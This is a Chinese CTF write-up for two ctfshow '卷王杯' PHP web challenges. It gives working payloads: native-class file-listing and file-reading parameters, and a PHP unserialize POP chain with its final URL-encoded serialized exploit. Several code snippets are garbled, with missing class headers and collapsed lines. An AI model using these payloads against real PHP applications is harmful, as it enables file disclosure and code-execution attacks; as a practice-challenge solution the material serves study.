ctfshow-卷王杯

easywebeasy unserialize

easyweb

源码提示

数组溢出+原生类读取

c=9223372036854775806&a=DirectoryIterator&b=glob://flag[0-9a-z]*.php

ctfshow-卷王杯_第1张图片

c=9223372036854775806&a=SplFileObject&b=flag56ea8b83122449e814e0fd7bfb5f220a.php

ctfshow-卷王杯_第2张图片

 

easy unserialize

__destruct()方法又叫析构函数,当程序结束销毁的时候自动调用,看下这道题中的代码

$a=unserialize($_GET['ctfshow']);
throw new Exception("高一新生报道");

这里有个throw函数,大概是抛出一个异常,然后让程序异常退出,这个时候就是未正常退出的情况,所以不会调用__destruct方法,这里我们就要想办法在throw函数执行之前调用析构函数,目前我知道的调用该函数的方法如下:

  • 等待程序完整执行完毕,也就是解释完最后一行代码,这也是我们最常用的方法

  • 利用GC回收机制,比如

";
        }
}
$a=new Demo();
// $a=null;
throw new Error("this is a test");
​

ctfshow-卷王杯_第3张图片

ctfshow-卷王杯_第4张图片

  • 最后一种就是利用unset()主动销毁,这里显然我们不能,所以忽略

不难发现我们最后要进入 one::MeMeMe 并且满足条件

array_walk()只有关于数组的例子 本地尝试一下关于类的例子

ctfshow-卷王杯_第5张图片

 

可以看到作用是遍历自定义函数,其中$fn为成员的值,prev为成员变量的名字,所以

$year_parm=array(0=>"Happy_func");

要访问one::MeMeME() 找到

public function __get($name) {
        $var = $this->$name;
        $var[$name]();
    }

使 $var=array('$name'=>[new one(),"MeMeMe"]); 就可以 $var[$name]=one::MeMeMe();

要想__get() 得访问不存在的成员属性 找到

public function __toString() {
        return $this->object->string;
    }
   使 $this->object=new third()

而要__toString 得把对象当字符数输出 找到

 protected function addMe() {
        return "Wow you have sovled".$this->filename;
    }
   
   使 $this->filename=new one()即可;
   这里题目是protected 利用php7对protected 不敏感 绕过

发现

 public function __destruct() {
        @$this->object->add();
    }
   使$this->object=new second()即可

payload:

"Happy_func");
    public function MeMeMe() {
        array_walk($this, function($fn, $prev){
            if ($fn[0] === "Happy_func" && $prev === "year_parm") {
                echo $fn[0].'
'.$prev; ​               global $flag;               echo $flag;           }       });   } ​   public function __destruct() {       @$this->object->add();   } ​   public function __toString() { echo 'one::toString'.'
';       return $this->object->string;   } } ​ class second {   public $filename; ​   protected function addMe() { echo 'second::addMe'.'
';       return "Wow you have sovled".$this->filename;   } ​   public function __call($func, $args) { echo 'second::call'.'
';       call_user_func([$this, $func."Me"], $args);   } } ​ class third {   private $string; ​   public function __construct($string) {       $this->string = $string;   } ​   public function __get($name) { echo 'third::get'.'
';       $var = $this->$name;       $var[$name]();   } } $a=new one(); $a->object=new second(); $a->object->filename=new one(); $a->object->filename->object=new third(['string'=>[new one(),'MeMeMe']]); $b=null; $c=array($a,$b); echo urlencode(serialize($c));  

本地调试没问题

ctfshow-卷王杯_第6张图片

 

因为要在throw之前析构函数

所以payload还要修改一下最终为:

a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A6%3A%22second%22%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A5%3A%22third%22%3A1%3A%7Bs%3A13%3A%22%00third%00string%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BN%3Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7Di%3A1%3Bs%3A6%3A%22MeMeMe%22%3B%7D%7D%7Ds%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7D%7Ds%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7Di%3A0%3BN%3B%7D

ctfshow-卷王杯_第7张图片

 

你可能感兴趣的:(php,开发语言,后端)